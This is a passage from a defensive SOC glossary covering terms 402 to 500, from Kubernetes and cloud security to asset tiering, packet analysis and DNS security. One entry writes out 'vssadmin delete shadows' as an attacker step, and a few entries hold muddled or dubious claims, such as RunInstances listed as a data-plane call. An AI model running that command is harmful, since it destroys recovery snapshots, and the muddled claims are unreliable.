Explanation: Tetragon is an eBPF-based security observability and runtime enforcement tool from Cilium. SOC analysts use Tetragon to monitor process execution, file access, and network connections at kernel level with low overhead. It can enforce security policies (e.g., block certain syscalls) and generate Kubernetes-native events. Tetragon provides deep visibility into container and host activity missed by traditional agents.

403. **Cilium**

Explanation: Cilium is a networking and security solution for Kubernetes using eBPF. SOC analysts monitor Cilium's network policies and observability data (flows, service maps) to detect lateral movement within cloud-native environments. Cilium can enforce L3-L7 policies based on identity (not IP). It replaces legacy CNI plugins while providing built-in security telemetry.

404. **Kubernetes Audit Logs**

Explanation: Kubernetes audit logs record every API request to the control plane (kube-apiserver), including user, timestamp, source IP, and request/response. SOC analysts ingest these logs to detect privilege escalation (creating privileged pods), cluster-admin role binding, or secrets enumeration. Audit log policy must be configured to capture specific stages (RequestReceived, ResponseComplete). They are foundational for Kubernetes detection.

405. **Kube-bench**

Explanation: Kube-bench is a CIS benchmarking tool for Kubernetes that checks

cluster configuration against security recommendations. SOC analysts run kube-bench to identify misconfigurations (e.g., anonymous auth enabled, etcd without encryption). Findings feed into vulnerability management workflows. Kube-bench does not detect runtime threats but reduces attack surface.

406. **Kube-hunter**

Explanation: Kube-hunter is an open-source tool that actively tests Kubernetes clusters for security weaknesses (e.g., exposed kubelet APIs, weak RBAC). SOC analysts (blue team) can run kube-hunter in safe mode to identify vulnerabilities before attackers exploit them. Red teams use it for reconnaissance. Kube-hunter results prioritize hardening efforts. It is offensive in nature, so use with authorization.

407. **OPA (Open Policy Agent)**

Explanation: OPA is a policy engine that decouples policy decision from enforcement across cloud-native stacks (Kubernetes, microservices). SOC analysts use OPA to enforce admission control (prevent risky pod creation) or API authorization. OPA policies (Rego language) can block containers running as root or with hostPID privileges. OPA logs policy rejections as security-relevant events.

408. **Rego**

Explanation: Rego is the declarative policy language used by OPA for defining rules. SOC analysts writing Rego policies focus on inputs (user, resource, action) and outputs (allow/deny with reasoning). Rego policies are tested and versioned. Example: deny if `input.request.user != "admin"` and `input.request.resource = "secrets"`. Understanding Rego helps analysts interpret OPA logs.

409. **Admission Controller**

Explanation: An admission controller intercepts Kubernetes API requests after authentication/authorization but before persistence. SOC analysts use validating admission controllers (e.g., OPA Gatekeeper) to enforce policies like "no root containers" or "registry must be corporate." Mutating admission controllers can inject sidecars or enforce security defaults (e.g., `readOnlyRootFilesystem`). Admission controller logs show blocked or mutated requests.

410. **Kubernetes Secrets**

Explanation: Kubernetes Secrets store sensitive data (passwords, TLS certs, API tokens) as base64-encoded objects in etcd. SOC analysts monitor Secret access via audit logs (get/list Secrets) and enable etcd encryption at rest. Compromised Secrets are a top Kubernetes risk. Secrets should be mounted as volumes, not environment variables (more visible in logs).

411. **RBAC (Role-Based Access Control in Kubernetes)**

Explanation: Kubernetes RBAC controls access to API resources using Roles (namespace-scoped) or ClusterRoles (cluster-scoped) bound to users/groups via RoleBindings. SOC analysts detect RBAC attacks by monitoring creation of new ClusterRoleBindings granting `cluster-admin` or privilege escalation via role aggregation. Overly permissive RBAC (e.g., `* verbs`) is a common misconfiguration.

412. **Pod Security Standards (PSS)**

Explanation: PSS are Kubernetes built-in policies (Privileged, Baseline, Restricted) that replace Pod Security Policies. SOC analysts enforce PSS at namespace level via labels. Baseline blocks known privilege escalations (e.g., `hostPort`, `hostPID`). Restricted enforces least privilege (`readOnlyRootFilesystem`, drop all capabilities). PSS violations appear as admission controller events.

413. **Pod Security Admission (PSA)**

Explanation: PSA is the mechanism that enforces Pod Security Standards in Kubernetes v1.22+. SOC analysts configure PSA mode (`enforce`, `audit`, `warn`) per namespace. Audit mode logs violations without blocking, helping validate policy impact. PSA violation logs feed into SIEM for detection of attempted privilege escalation.

414. **Container Drift**

Explanation: Container drift occurs when a container's runtime behavior deviates from its immutable image (e.g., malicious process installed at runtime). SOC analysts detect drift via eBPF-based tools (Falco, Tetragon) monitoring processes started from writeable layers. Drift detection catches live compromise after initial

breach. Immutable container images (no package installs at runtime) reduce drift opportunities.

415. **Pod Escape**

Explanation: Pod escape is a container breakout where an attacker escapes container isolation to access the host node. SOC analysts detection includes unusual syscalls (e.g., `unshare`, `mount`), mounting `/host root`, or privileged container flags. Pod escape leads to full node compromise and potential cluster takeover. Kubernetes audit logs show `exec` into pods with `privileged=true`.

416. **CIS Benchmarks**

Explanation: CIS benchmarks are industry-standard configuration guidelines for operating systems, cloud services, and containers. SOC analysts scan systems against CIS benchmarks using tools like CIS-CAT. Compliance findings are remediated and exceptions documented. CIS benchmark compliance reduces attack surface but may conflict with application requirements.

417. **Cloud Security Posture Management (CSPM)**

Explanation: CSPM continuously assesses cloud configurations against best practices and compliance frameworks (CIS, NIST, SOC2). SOC analysts remediate CSPM findings like public S3 buckets, unrestricted security groups, or unencrypted volumes. CSPM does not address runtime threats but prevents misconfiguration-based breaches. Automated remediation (e.g., closing open storage) is common.

418. **Cloud Infrastructure Entitlement Management (CIEM)**

Explanation: CIEM manages cloud identity permissions (AWS IAM, Azure RBAC, GCP IAM) focusing on least privilege and unused permission detection. SOC analysts use CIEM to detect excessive entitlements and privilege escalation paths. CIEM tools (Ermetic, Orca, Permiso) flag "high-risk" permission combinations (e.g., `ec2:AssociateIamInstanceProfile` + `iam:PassRole`). CIEM reduces overprivileged identities.

419. **Cloud Detection and Response (CDR)**

Explanation: CDR is a specialized detection and response capability for cloud

environments, including cloud logs (CloudTrail, Cloud Audit Logs), API abuse, and workload telemetry. SOC analysts use CDR tools (e.g., [investigate.ai](#), Cado Security) to investigate cloud incidents. CDR addresses cloud-specific attacks (confused deputy, IMDSv1 abuse, bucket enumeration). CDR integrates CSPM and CWPP.

420. **AWS CloudTrail**

Explanation: CloudTrail records AWS API calls (management and data events) for audit, security analysis, and operational troubleshooting. SOC analysts ingest CloudTrail logs into SIEM to detect unauthorized actions (e.g., DeleteTrail, CreateAccessKey) and unusual API patterns. CloudTrail is the primary source for AWS incident investigation. Data events (e.g., S3 object-level) incur additional costs.

421. **AWS GuardDuty**

Explanation: GuardDuty is an AWS managed threat detection service using machine learning and threat intelligence on CloudTrail, VPC Flow Logs, and DNS logs. SOC analysts receive GuardDuty findings (e.g., EC2 instance communicating with crypto-mining domain) and integrate them via SIEM. GuardDuty reduces manual detection engineering for common AWS threats. Findings include severity and MITRE ATT&CK mapping.

422. **AWS Security Hub**

Explanation: Security Hub aggregates security alerts (findings) from GuardDuty, Inspector, Macie, and partner products into a single view. SOC analysts use Security Hub for centralized compliance (CIS benchmark scoring) and finding prioritization. Security Hub integrates with SIEM and SOAR. It normalizes findings to AWS Finding Format (AFF).

423. **Azure Monitor**

Explanation: Azure Monitor collects metrics, logs, and traces from Azure resources, including Activity Logs (control plane) and diagnostic settings (resource logs). SOC analysts query Azure Monitor Logs using KQL to investigate

cloud incidents. Azure Monitor alerts can trigger Logic Apps or Azure Functions for automated response. It is the central logging pipeline for Azure.

424. **Azure Security Center (ASC)**

Explanation: ASC (now part of Microsoft Defender for Cloud) provides continuous assessment, security recommendations, and threat protection for Azure and hybrid workloads. SOC analysts receive ASC alerts (e.g., suspicious process execution, vulnerability findings). ASC integrates with Microsoft Sentinel. ASC pricing tiers depend on workload type (servers, containers, databases).

425. **Google Cloud Audit Logs**

Explanation: Google Cloud Audit Logs record admin activity (Admin Activity), data access (Data Access, must enable), and system events (e.g., VM start/stop). SOC analysts ingest these logs to detect unauthorized IAM changes, excessive data read, or unusual compute resource creation. Data Access logs are cost-intensive and disabled by default.

426. **GCP Security Command Center (SCC)**

Explanation: SCC is Google Cloud's centralized security dashboard for finding threats, misconfigurations, and vulnerabilities across GCP projects. SOC analysts use SCC Premium for real-time anomaly detection (e.g., anomalous IAM grants, compute API abuse). SCC integrates with SIEM via Pub/Sub. Findings include MITRE ATT&CK mapping and remediation steps.

427. **Cloud Workload Protection Platform (CWPP)**

Explanation: CWPP provides agent-based or agentless protection for cloud VMs, containers, and serverless functions, including vulnerability scanning and runtime defense. SOC analysts use CWPP alerts for cloud-specific attacks like container escape or cryptojacking. CWPP integrates with EDR for unified visibility. It addresses ephemeral cloud workloads.

428. **Serverless Function (Lambda/Cloud Functions)**

Explanation: Serverless functions execute code in ephemeral, stateless environments triggered by events (e.g., S3 upload, HTTP request). SOC analysts monitor execution logs (AWS CloudWatch Logs, Azure Function logs) for

malicious payloads, excessive resource usage, or unauthorized library pulls.

Traditional agents do not work in serverless; detection relies on function logs and cloud provider audit trails.

429. **Cloud Cryptojacking**

Explanation: Cryptojacking in cloud environments involves mining cryptocurrency using compromised compute resources (e.g., EC2 instances, containers). SOC analysts detect cryptojacking via spiked CPU usage, outbound connections to mining pools (non-standard ports), or GuardDuty findings like "CryptoCurrency:EC2/BitcoinTool.B." Cryptojacking is common in misconfigured public-facing containers.

430. **Cloud Account Takeover (ATO)**

Explanation: Cloud ATO occurs when an attacker compromises cloud identity credentials (root user, IAM user, service account) and assumes control. SOC analysts detect ATO via impossible travel, new console logins from suspicious IPs, or creation of new access keys. Cloud ATO often leads to resource hijacking (cryptojacking) or data theft. Immediate containment includes disabling compromised access keys.

431. **Cloud Trail (not AWS) – Data Plane vs Control Plane**

Explanation: Control plane operations manage cloud resources (e.g., CreateBucket, StartInstance). Data plane operations interact with data inside resources (e.g., GetObject from S3, RunInstances results). SOC analysts monitor both but focus first on control plane changes (more severe impact). Data plane logging (e.g., S3 object reads) is often disabled due to cost, creating blind spots for data theft.

432. **Cloud Metadata Service (IMDS)**

Explanation: IMDS provides instance metadata to cloud VMs, including temporary credentials (AWS IMDSv1/v2, Azure Instance Metadata Service). Attackers exploit SSRF vulnerabilities to fetch IMDS credentials and escalate to cloud account access. SOC analysts detect IMDS abuse via logs of HTTP requests to

169.254.169.254 from unexpected processes. IMDSv2 requires session tokens, reducing exposure.

433. **IMDSv1 vs IMDSv2**

Explanation: IMDSv1 (open access) allows easy SSRF exploitation; IMDSv2 adds a PUT request for session token, requiring headers. SOC analysts enforce IMDSv2 only via instance metadata options. Transitioning to IMDSv2 is a critical cloud hardening step. IMDSv2 does not prevent all SSRF but raises difficulty.

434. **Confused Deputy Problem**

Explanation: The confused deputy problem occurs when a resource (e.g., S3 bucket) with higher privileges can be tricked by an attacker into performing actions on their behalf. In cloud, this includes privileged IAM roles assumed via SSRF. SOC analysts prevent confused deputy by using resource policies with `aws:SourceArn` or `aws:SourceAccount` constraints. Detection relies on unusual cross-account access logs.

435. **Resource Policy vs Identity Policy**

Explanation: Resource policies (S3 bucket policy, KMS key policy) attach to cloud resources, while identity policies attach to IAM users/roles. Attackers frequently misconfigure resource policies to allow public access or cross-account access. SOC analysts review resource policy changes via cloud audit logs (e.g., `PutBucketPolicy`). A resource policy allowing `Principal: "*"` is high risk.

436. **Cloud API Rate Limiting**

Explanation: Cloud service APIs have rate limits to prevent abuse. Attackers exceeding rate limits (e.g., EC2 describe instances repeatedly) may be performing reconnaissance. SOC analysts detect API throttling events (e.g., `AWS ThrottlingException`) as indicators of automated scanning. Legitimate applications may also throttle, requiring careful alert tuning.

437. **Cloud Access Key Rotation**

Explanation: Cloud access keys (Access Key ID + Secret Access Key) must be rotated periodically (e.g., 90 days). SOC analysts monitor key age via IAM

credential reports. Stale keys (over 90 days without rotation) are high-risk. Keys used by offboarded employees (orphaned keys) are critical findings.

438. **Cloud Compliance Logging**

Explanation: Cloud compliance logging ensures that audit logs (CloudTrail, Azure Activity Logs) are enabled for all regions, delivered to immutable storage, and retained for required period (e.g., 1 year). SOC analysts validate compliance logging through automated monitoring (e.g., detect if CloudTrail is disabled). Compliance log tampering is a serious breach indicator.

439. **Cloud IAM AssumeRole**

Explanation: AssumeRole allows one account or user to obtain temporary credentials for another role. Attackers abuse AssumeRole for privilege escalation or lateral movement across cloud accounts. SOC analysts monitor `sts:AssumeRole` logs for unusual role assumptions (e.g., developer assuming an admin role). AssumeRole without MFA (when required) indicates policy bypass.

440. **Cloud Service Quotas**

Explanation: Cloud service quotas are limits on resource usage (e.g., max EC2 instances). Attackers attempting account takeover often raise quotas via support requests. SOC analysts monitor quota increase requests (e.g., `AWS RequestServiceQuotaIncrease`) as indicators of preparation for large-scale cryptojacking. Unusual quota patterns (non-production account requesting 100 GPUs) are red flags.

441. **Cloud Resource Tagging**

Explanation: Resource tags (key-value metadata) help identify asset owner, environment, and criticality. SOC analysts rely on tags for risk scoring (e.g., tag "production:true" increases alert severity). Missing tags ("owner:unknown") reduce incident response efficiency. Tags are also used in resource policies for conditional access.

442. **Cloud Orchestration (Terraform/CloudFormation)**

Explanation: Infrastructure as Code (IaC) tools deploy cloud resources via

templates. SOC analysts monitor IaC execution logs (Terraform Cloud runs, CloudFormation events) for unauthorized infrastructure changes. Malicious IaC changes can create backdoors (e.g., open security groups). Drift detection (differences between code and live environment) reveals manual attacker changes.

443. **Cloud Inventory**

Explanation: Cloud inventory is the complete list of all cloud assets (compute, storage, databases, functions, networking) across accounts and regions. SOC analysts use inventory tools (AWS Config, Azure Resource Graph, GCP Asset Inventory) to discover unmanaged resources. Shadow cloud resources (created without SOC knowledge) are significant risks.

444. **AWS Config**

Explanation: AWS Config records resource configuration changes and evaluates against rules (e.g., "S3 bucket public read access prohibited"). SOC analysts receive Config notifications for non-compliant resources and can use Config history for forensic timeline of changes. Config is a key source for CSPM and compliance automation.

445. **Azure Policy**

Explanation: Azure Policy enforces organizational standards by auditing or denying non-compliant resource creation (e.g., "block public storage accounts"). SOC analysts use Azure Policy logs to detect attempted policy violations (e.g., user trying to create a public blob). Policy remediation tasks (e.g., auto-fix non-compliant resources) reduce manual work.

446. **GCP Org Policy**

Explanation: GCP Organization Policies set constraints on resource usage across projects (e.g., "disable VM serial port access"). SOC analysts monitor Org Policy audit logs to detect constraint violations or attempts to bypass policies. Org Policies are hierarchical and inherited. Policy overrides require specific permissions and are logged.

447. **Cloud Security Graph**

Explanation: A cloud security graph maps relationships between identities, resources, and permissions to identify attack paths (e.g., "UserA can access Storage1 which contains a privileged SSH key"). SOC analysts use security graph tools to pre-emptively close privilege escalation paths. Graph-based threat hunting reveals lateral movement scenarios not visible in linear logs.

448. **Cloud Packet Mirroring**

Explanation: Cloud packet mirroring (AWS VPC Traffic Mirroring, Azure vTap) copies network traffic for deep packet inspection. SOC analysts use mirrored traffic for IDS/NSM (Zeek, Suricata) in cloud environments. Packet mirroring is expensive and may miss ephemeral workloads. It is complementary to agent-based telemetry.

449. **VPC Flow Logs**

Explanation: VPC Flow Logs capture network flow metadata (source/destination IP, ports, protocol, bytes) within cloud virtual networks. SOC analysts use VPC Flow Logs for anomaly detection (beaconing, data exfiltration) and forensic investigation. Flow logs are cheaper than packet mirroring but lack payload details. In cloud, flow logs include metadata tags like instance ID.

450. **Cloud Attack Path Visualization**

Explanation: Cloud attack path visualization diagrams sequences of permissions and resources an attacker could traverse (e.g., compromised Lambda → role assumption → S3 bucket). SOC analysts use this visual output (from tools like Permiso, Orca) to prioritize hardening. Attack path analysis reduces theoretical risks to actionable remediation steps.

Part 10/10 – Terms 451 to 500

451. **Compromise Assessment**

Explanation: A compromise assessment is a time-bound, proactive search for evidence of past or present intrusions, typically conducted after a suspected breach or as a preventive measure. SOC analysts perform compromise assessments using EDR telemetry, network logs, and threat intelligence to identify unknown footholds. Unlike continuous monitoring, assessments have a defined scope and duration. Findings produce prioritized remediation and hunting leads.

452. **Dwell Time Analysis**

Explanation: Dwell time analysis measures the period from initial compromise to detection, broken down by attacker activities (reconnaissance, lateral movement, privilege escalation, exfiltration). SOC analysts use dwell time analysis to identify detection gaps (e.g., long dwell time after privilege escalation indicates missing alerts at that stage). Reducing dwell time is a primary SOC maturity metric. Dwell time distribution helps prioritize alert improvements.

453. **Adversary Simulation**

Explanation: Adversary simulation involves red team executing full attack chains based on real threat actor reports (e.g., APT29, FIN7). SOC analysts use adversary simulation results to validate detection coverage across the entire MITRE ATT&CK kill chain. Unlike penetration tests that stop at initial access, adversary simulation continues until predefined objectives. Results are measured in detection rates and response times.

454. **Breach and Attack Simulation (BAS)**

Explanation: BAS platforms continuously run automated, low-impact attack scenarios to test security controls. SOC analysts receive BAS reports showing which detections fired, which failed, and response times for each technique. BAS complements red teaming with higher frequency (daily) but lower fidelity. BAS findings feed directly into detection engineering backlogs.

455. **Red Team vs Blue Team Exercise**

Explanation: A red team vs blue team exercise is a live, adversarial simulation

where red team attacks (unknown to blue team) and blue team defends. SOC analysts (blue team) must detect, respond, and contain without prior knowledge of red team TTPs. Post-exercise, both teams conduct a joint debrief. These exercises are the most realistic SOC capability test.

456. **Tabletop Exercise (TTX)**

Explanation: A tabletop exercise is a discussion-based simulation where stakeholders verbally walk through an incident scenario without touching live systems. SOC analysts participate in TTX to validate playbooks, decision-making, and external communications (legal, PR). TTX exposes process gaps like unclear escalation authority or missing call trees. Tabletop results are less expensive than live-fire exercises but less stressful.

457. **Functional Exercise**

Explanation: A functional exercise involves executing actual incident response actions in a test environment or isolated production segment. SOC analysts perform functional exercises to validate playbook automation (SOAR), containment procedures (e.g., isolating a host), and evidence collection. Functional exercises are more realistic than tabletop but less disruptive than full-scale exercises.

458. **Full-Scale Exercise**

Explanation: A full-scale exercise simulates a major security incident (e.g., ransomware across multiple business units) with real system impacts and external coordination. SOC analysts participate in full-scale exercises that involve executives, legal, PR, and external IR retainers. These exercises are costly and disruptive but reveal cross-functional breakdowns. They are often required annually for regulated industries.

459. **Hot Wash**

Explanation: A hot wash is an immediate, informal debrief conducted right after an incident or exercise while details are fresh. SOC analysts share what worked, what failed, and what surprised them. Hot wash findings feed into formal after-

action reviews. Hot washes are blameless (focus on process, not people). Effective hot washes last 15–30 minutes.

460. **Lessons Learned Register**

Explanation: A lessons learned register is a living document capturing improvement items from incident post-mortems and exercises. SOC analysts contribute to the register with specific, actionable recommendations (e.g., “add login anomaly detection rule”, “update runbook section 3.2”). Register items have owners and due dates. Periodic review prevents repeating the same mistakes.

461. **SIRT (Security Incident Response Team)**

Explanation: SIRT is another abbreviation for CSIRT/CERT, specific to incident response. SOC analysts may be part of SIRT or escalate incidents to a separate SIRT. SIRT responsibilities include evidence handling, forensic acquisition, and breach notification. SIRT operates under legal hold protocols during active investigations.

462. **Cyber Fusion Center**

Explanation: A cyber fusion center integrates SOC, threat intelligence, vulnerability management, and incident response into a single operational unit. SOC analysts in fusion centers collocate with intel analysts and IR engineers to reduce handoff friction. Fusion centers emphasize real-time intelligence sharing between functions. The model is common in large enterprises and government.

463. **NOC (Network Operations Center)**

Explanation: NOC focuses on network availability, performance, and troubleshooting, while SOC focuses on security threats. SOC analysts collaborate with NOC during incident response for network-level containment (e.g., port blocking) or during DDoS attacks. NOC logs (interface errors, routing changes) provide context for security events. NOC-SOC integration reduces finger-pointing.

464. **Tier 0 Asset**

Explanation: Tier 0 assets are the most critical systems in an Active Directory environment — domain controllers, PKI infrastructure, and identity management

systems. SOC analysts prioritize monitoring Tier 0 assets with maximum logging (Sysmon, full event collection) and stricter detection rules. Compromise of Tier 0 assets is considered a catastrophic breach. Attackers target Tier 0 for persistence.

465. **Tier 1 Asset**

Explanation: Tier 1 assets include enterprise servers (file servers, application servers, database servers) that handle business-critical data but not domain-wide authentication. SOC analysts apply high-fidelity detection to Tier 1 assets but may accept slightly higher false positives. Tier 1 compromise can lead to Tier 0 privilege escalation. Administrative access to Tier 1 must be tightly controlled.

466. **Tier 2 Asset**

Explanation: Tier 2 assets are user workstations, printers, and non-critical systems. SOC analysts typically apply broader detection rules with higher false positive tolerance. Tier 2 assets are most likely initial compromise points leading to Tier 1/0 escalation. User workstations have EDR agents but may have reduced logging compared to servers.

467. **Administrative Tiering (Microsoft ESAE)**

Explanation: Administrative tiering (also called Red Forest or ESAE – Enhanced Security Administrative Environment) separates privileged accounts into dedicated, hardened workstations. SOC analysts monitor cross-tier logins (e.g., Tier 0 admin logging into a Tier 2 workstation) as high-risk anomalies. Tiering prevents lateral movement from lower tiers to higher tiers. Compliance requires logging every administrative action.

468. **Jump Box (Admin Workstation)**

Explanation: A jump box is a dedicated, hardened system used exclusively for privileged administrative access. SOC analysts monitor jump boxes for software installation, web browsing, or email access (forbidden activities). Unauthorized software on jump boxes is a critical finding. Jump boxes are often the only systems allowed to RDP to domain controllers.

469. **PAW (Privileged Access Workstation)**

Explanation: PAW is Microsoft's recommended hardened workstation for

administrative tasks, isolated from productivity applications (no Office, no email). SOC analysts ensure PAWs are not used for user activities (browsing social media, checking personal email). PAWs have restricted USB ports and network access. PAW compromise threatens all managed assets.

470. **LAPS (Local Administrator Password Solution)**

Explanation: LAPS automatically rotates unique local admin passwords on domain-joined computers and stores them in Active Directory. SOC analysts monitor LAPS for failed password retrieval (multiple failures may indicate brute-force). LAPS prevents pass-the-hash attacks using the same local admin password across workstations. LAPS rotation events (Event ID 10002) indicate successful changes.

471. **RDP Restricted Admin Mode**

Explanation: Restricted Admin Mode in RDP prevents credential delegation to remote hosts, mitigating pass-the-hash. SOC analysts enable Restricted Admin Mode via GPO and monitor for RDP sessions using restricted mode flag. Attackers cannot extract hashes from a system accessed via Restricted Admin Mode. Compatibility issues affect some legacy applications.

472. **Credential Guard Remote Remediation**

Explanation: Credential Guard prevents credential dumping but also blocks some legitimate LSASS-based logging. SOC analysts must use alternative detection sources (e.g., Windows Event IDs for logon, TPM audit) when Credential Guard enabled. Credential Guard does not protect against Kerberoasting or AS-REP roasting. Remediation for Credential Guard bypass attempts requires hypervisor integrity.

473. **Device Guard/AppLocker in Audit Mode**

Explanation: Deploying Device Guard or AppLocker in audit mode logs what would have been blocked without impacting users. SOC analysts use audit mode to validate application allowlist rules before enforcing. Audit logs show "would be blocked" events for unapproved software. After tuning, SOC switches to enforcement mode.

474. **Attack Surface Reduction (ASR) Audit Mode**

Explanation: ASR rules can be deployed in audit mode first to measure potential false positives without blocking business workflows. SOC analysts review audit logs (Event ID 1121 for block, 1122 for audit) to identify legitimate applications triggering ASR. After validation, rules are switched to block mode. ASR audit mode reduces production incidents from over-blocking.

475. **Tamper Protection**

Explanation: Tamper protection prevents attackers from disabling security agents (EDR, AV) via registry changes, process termination, or service modification. SOC analysts verify tamper protection is enabled in EDR console and monitor for tamper attempt alerts (e.g., "EDR service stopped unexpectedly"). Tamper protection bypasses are high-severity findings requiring immediate investigation.

476. **Safe Mode Monitoring**

Explanation: Attackers may boot systems into Safe Mode to bypass EDR drivers that load during normal boot. SOC analysts using EDRs with Safe Mode monitoring (few support it) detect agent status anomalies. Safe Mode detection relies on boot logs (Event ID 12, 13) and network traffic patterns. BitLocker with TPM prevents unsigned Safe Mode boot.

477. **Boot Logging (Windows)**

Explanation: Windows boot logging via `C:\Windows\ntbtlog.txt` records drivers loaded during startup. SOC analysts use boot logs to detect malicious drivers that load before EDR. Boot logging is not enabled by default and requires manual activation. Automated boot log collection using startup scripts is unreliable.

478. **Fast Startup (Windows Hybrid Boot)**

Explanation: Fast Startup (hibernation hybrid) saves kernel state to disk, preventing full boot-time scanning and causing stale EDR agent state. SOC analysts recommend disabling Fast Startup on security-sensitive systems (domain controllers, jump boxes). Fast startup also complicates disk forensics (partition in hibernation). Group Policy can disable Fast Startup.

479. **Volume Shadow Copy (VSS) for Forensics**

Explanation: VSS snapshots provide point-in-time copies of files and registry, essential for forensic analysis of previous system states. SOC analysts use VSS to recover malware samples, deleted registry keys, and original files before ransomware encryption. Attackers delete VSS snapshots via `vssadmin delete shadows`. VSS retention policy must balance storage and forensic value.

480. **Write Filter (EWF/FBWF)**

Explanation: Enhanced Write Filter (EWF) or File-Based Write Filter (FBWF) redirects writes to an overlay (RAM or disk) to protect a system's base image. SOC analysts encounter write filters in kiosks, thin clients, and OT systems. Write filters prevent persistence but also complicate patching. Forensic acquisition from write-filtered systems requires capturing the overlay.

481. **Kiosk Mode**

Explanation: Kiosk mode restricts a Windows or Linux system to a single application (e.g., POS terminal, digital sign). SOC analysts monitor kiosk-mode systems for application crashes (may indicate exploit attempts) and unauthorized attempts to exit kiosk mode (e.g., Alt+F4, Ctrl+Alt+Del). Kiosk breakout attempts are high-priority alerts. Kiosk mode does not replace EDR agents.

482. **Air Gap**

Explanation: An air gap is a physical isolation of a network with no connectivity to other networks (no Wi-Fi, no Bluetooth, no removable media without approval). SOC analysts investigating air-gapped environments use manual log transfer (sneaker net) and specialized monitoring (e.g., data diodes). Air gaps are breached by insider threats or cross-domain solutions. Compromise of an air-gapped network is a critical incident.

483. **Cross-Domain Solution (CDS)**

Explanation: CDS transfers data between networks of different classification levels (e.g., unclassified to secret) with content filtering and inspection. SOC analysts monitor CDS logs for policy violations, malformed files, and unusual transfer

volumes. Attackers may exploit CDS vulnerabilities to bridge air gaps. CDS audit logs are among the most sensitive.

484. **Data Diode (Unidirectional Gateway)**

Explanation: A data diode is a hardware device that physically allows data flow in only one direction (e.g., from low-security OT to high-security SOC network). SOC analysts use data diodes to ingest OT logs without exposing OT to inbound attacks. Data diodes have no return path, eliminating TCP ACK-based attacks. They are mandatory for high-assurance cross-domain transfers.

485. **Guard (High-Assurance Guard)**

Explanation: A guard is a higher-assurance cross-domain solution that includes content sanitization (e.g., stripping macros, re-encoding video). SOC analysts rely on guards to prevent malicious data injection from lower networks. Guard logs show rejected files (e.g., blocked PDF with JavaScript). Guard compromise is treated as a national-level security incident in government.

486. **Packet Decoder (NetWitness, Xplico)**

Explanation: A packet decoder reassembles PCAP files into application-layer sessions (HTTP requests, emails, file transfers). SOC analysts use decoders during forensic investigation to extract malware from captured traffic or replay user activity. Decoders must handle fragmented and out-of-order packets. NetWitness and Xplico are common examples.

487. **Protocol Analyzer (Wireshark, tcpdump)**

Explanation: Protocol analyzers capture and decode network packets in real-time or from PCAP files. SOC analysts use Wireshark for deep dive investigation of suspicious connections, malformed packets, or stealthy C2 traffic. Tcpdump is the command-line capture tool. Protocol analysis is essential when SIEM lacks traffic details.

488. **Flow Analysis (NetFlow, sFlow, IPFIX)**

Explanation: Flow analysis aggregates network session metadata (src/dst IP, ports, bytes, duration) for trend detection and anomaly identification. SOC analysts use flow analysis to detect beaconing, DDoS traffic, and data exfiltration without

examining payloads. Flow analysis is lightweight enough for large-scale monitoring but misses application details.

489. **FPC (Full Packet Capture)**

Explanation: Full packet capture stores every network packet for indefinite period (often 30 days for high-value segments). SOC analysts replay PCAP to reconstruct attacker activity when other logs are missing. FPC is storage-intensive (terabytes per day) and often limited to critical links (data center ingress/egress). FPC retrieval is slow but invaluable for zero-day incidents.

490. **PCAP Indexing**

Explanation: PCAP indexing (e.g., Moloch, Arkime) allows fast searching of stored packets by IP, port, protocol, or even regex on payloads. SOC analysts use indexed PCAP to rapidly pivot from an IOC (e.g., suspicious IP) to all related traffic without waiting for full PCAP processing. Indexing reduces storage overhead compared to raw PCAP with external index.

491. **Session Reassembly**

Explanation: Session reassembly combines related packets (TCP stream, UDP flow) into complete conversations for analysis. SOC analysts reassemble sessions to view HTTP requests, emails, or file transfers. Attackers attempt to evade session reassembly via packet fragmentation or retransmission tricks. Modern analysis tools handle most evasion.

492. **TLS Intercept (Decryption Gateway)**

Explanation: TLS intercept decrypts outbound HTTPS traffic for inspection by adding a trusted certificate to endpoints. SOC analysts use TLS intercept to inspect encrypted C2 traffic, exfiltration, and malware downloads. TLS intercept introduces privacy concerns and breaks certificate pinning. Selective intercept (by URL category, user role) balances security and privacy.

493. **Certificate Pinning**

Explanation: Certificate pinning hardcodes expected server certificates or public keys in client applications, preventing TLS intercept proxies. SOC analysts detect pinned connections being blocked when their intercept CA is not trusted.

Attackers use pinning to avoid inspection. Pinning complicates security monitoring for legitimate apps (e.g., mobile apps, banking).

494. **DNS over HTTPS (DoH)**

Explanation: DoH encrypts DNS queries inside HTTPS traffic, hiding domain names from network monitors. SOC analysts cannot inspect DoH traffic for malicious domain resolution without decrypting HTTPS. DoH bypasses traditional DNS blacklists. SOCs may block DoH endpoints (e.g., using firewall rules for known DoH providers) or enforce corporate DoH with inspection.

495. **DNS over TLS (DoT)**

Explanation: DoT encrypts DNS over TLS on a dedicated port (853), separating DNS from web traffic. SOC analysts can block DoT at firewall if not authorized. DoT detection is easier than DoH because port 853 is distinctive. Enterprises may run their own DoT resolver with logging. DoT adoption is widespread on Android and iOS.

496. **EDNS (Extension Mechanisms for DNS)**

Explanation: EDNS allows DNS requests to carry metadata like client subnet, enabling geo-aware responses. Attackers abuse EDNS Client Subnet (ECS) for cache poisoning or exfiltration. SOC analysts may inspect EDNS options for anomalies (e.g., unexpected option codes). Most enterprise resolvers strip ECS for privacy.

497. **QNAME Minimization**

Explanation: QNAME minimization reduces privacy leakage by sending only the necessary domain labels (instead of full domain) to upstream DNS servers. SOC analysts lose visibility into full subdomains when QNAME min is enabled on their resolvers. Attackers may use QNAME min to hide malicious subdomains from logging. Enterprises balance privacy vs detection.

498. **RPZ (Response Policy Zone)**

Explanation: RPZ allows DNS servers to override responses (e.g., return NXDOMAIN for known malicious domains). SOC analysts maintain RPZ feeds from threat intelligence to block C2 domains. RPZ acts as a DNS-level sinkhole

without requiring endpoint changes. RPZ must be updated frequently to prevent attacker registration of new domains.

499. **DNS Firewalling**

Explanation: DNS firewalling uses RPZ or DNS filtering services (Umbrella, Webroot) to block queries to malicious domains, typosquats, and prohibited categories. SOC analysts receive DNS firewall logs for threat hunting and enforcement reporting. DNS firewalling is a high-value, low-friction control, but can be bypassed by DoH/DoT or hardcoded IPs.

500. **DNS Logging and Analysis**

Explanation: DNS logging records every DNS query (source IP, domain, response, timestamp). SOC analysts use DNS logs as a primary source for detecting C2 beacons, DGA domains, and data exfiltration via TXT records. DNS logs are lightweight and nearly universal. Without DNS logging, SOCs miss a major attack vector. DNS analysis tools (dnstap, Zeek DNS logs) scale to millions of queries.